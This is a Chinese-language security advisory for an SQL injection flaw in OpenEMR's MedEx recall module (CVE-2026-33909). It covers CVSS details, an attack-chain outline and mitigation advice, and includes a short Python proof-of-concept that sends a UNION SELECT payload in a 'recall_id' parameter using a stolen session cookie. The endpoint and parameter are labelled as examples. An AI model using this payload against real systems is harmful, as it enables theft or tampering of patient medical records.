CVE-2026-33909 CVSS 5.9 中危

CVE-2026-33909 OpenEMR SQL注入漏洞

披露日期: 2026-03-25

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-33909

漏洞类型

SQL注入

CVSS评分

5.9 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

OpenEMR

漏洞概述

OpenEMR是一款广泛使用的免费开源电子健康记录和医疗实践管理应用。在8.0.0.3版本之前，其MedEx召回/提醒处理代码中存在严重的安全缺陷。开发者将多个变量直接拼接到SQL查询中，且未实施参数化查询或类型转换机制。高权限攻击者可利用此漏洞执行任意SQL命令，导致敏感医疗数据泄露或完整性受损。

技术细节

该漏洞核心在于OpenEMR处理MedEx模块功能时的输入验证缺失及不安全的数据库查询构建方式。在受影响版本的代码中，程序直接接收用户输入的变量并将其作为字符串拼接到SQL语句中发送给数据库执行，而未使用预编译语句（Prepared Statements）或严格的类型检查。这种不安全的编程方式导致了经典的SQL注入漏洞。根据CVSS向量分析，攻击需要高权限（PR:H），这意味着攻击者通常需要先通过其他手段获取合法的高权限账户（如管理员或医务人员凭证）才能访问MedEx功能点。一旦具备权限，攻击者无需用户交互（UI:N）即可通过网络（AV:N）向特定的MedEx处理接口发送包含恶意SQL载荷的请求。成功利用后，攻击者可以绕过应用逻辑，直接读取数据库中的敏感患者信息（机密性影响），修改或删除关键医疗记录（完整性影响），对医疗机构的业务运营造成严重破坏。

攻击链分析

STEP 1

侦察与获取权限

攻击者通过钓鱼或其他漏洞获取OpenEMR系统的高权限账户（管理员或医务人员）凭证。

STEP 2

识别漏洞点

攻击者登录系统，定位到MedEx召回/提醒处理功能模块，并分析相关的HTTP请求参数。

STEP 3

构造恶意载荷

攻击者构造包含SQL注入语句的恶意数据包，利用变量直接拼接的特性，例如在recall_id参数中注入UNION SELECT语句。

STEP 4

执行攻击

发送恶意请求至服务器，后端数据库执行注入的SQL语句，导致敏感数据回显或数据被篡改。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL for the vulnerable MedEx processing endpoint (example)
target_url = "http://target-openemr.com/interface/main/medex/processing_script.php"
session_cookie = "PHPSESSID=attacker_stolen_high_priv_session_id"

# Malicious payload to extract database version (SQL Injection)
# Based on the description that variables are concatenated directly.
payload = "1' UNION SELECT 1, version(), 3, 4-- -"

data = {
    "recall_id": payload,  # Example vulnerable parameter
    "action": "process"
}

headers = {
    "Cookie": session_cookie
}

try:
    response = requests.post(target_url, data=data, headers=headers)
    if response.status_code == 200:
        print("PoC executed successfully. Check response for DB version.")
        print(response.text[:500])
except Exception as e:
    print(f"Error: {e}")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施

如果无法立即升级，建议严格限制对MedEx模块的访问权限，仅允许受信任的IP访问，并部署Web应用防火墙（WAF）以检测和拦截SQL注入攻击模式。同时，应加强对高权限账户的监控，防止凭证泄露。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表